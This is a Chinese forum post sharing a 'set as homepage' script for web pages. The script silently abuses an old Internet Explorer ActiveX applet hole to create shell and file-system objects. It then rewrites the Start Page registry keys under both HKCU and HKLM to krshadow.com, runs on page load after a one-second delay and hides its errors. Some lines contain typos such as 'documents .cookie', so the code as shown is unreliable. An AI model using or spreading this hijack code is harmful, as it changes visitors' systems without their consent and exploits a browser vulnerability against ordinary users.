返回列表 发帖

〖代码知识〗 自动设成主页代码

  1. <SCRIPT language=java script>document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");

  2. function f(){
  3. try
  4. {
  5. //ActiveX initialization
  6. a1=document.applets[0];
  7. a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
  8. a1.createInstance();
  9. Shl = a1.GetObject();
  10. a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
  11. a1.createInstance();
  12. FSO = a1.GetObject();
  13. a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
  14. a1.createInstance();
  15. Net = a1.GetObject();

  16. try
  17. {
  18. if (documents .cookie.indexOf("Chg") == -1)
  19. {
  20. Shl.RegWrite ("HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.krshadow.com/");
  21. Shl.RegWrite ("HKLM\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.krshadow.com/");
  22. var expdate = new Date((new Date()).getTime() + (1));
  23. documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"

  24. }
  25. }
  26. catch(e)
  27. {}
  28. }
  29. catch(e)
  30. {}
  31. }
  32. function init()
  33. {
  34. setTimeout("f()", 1000);
  35. }
  36. init();</SCRIPT>
复制代码

返回列表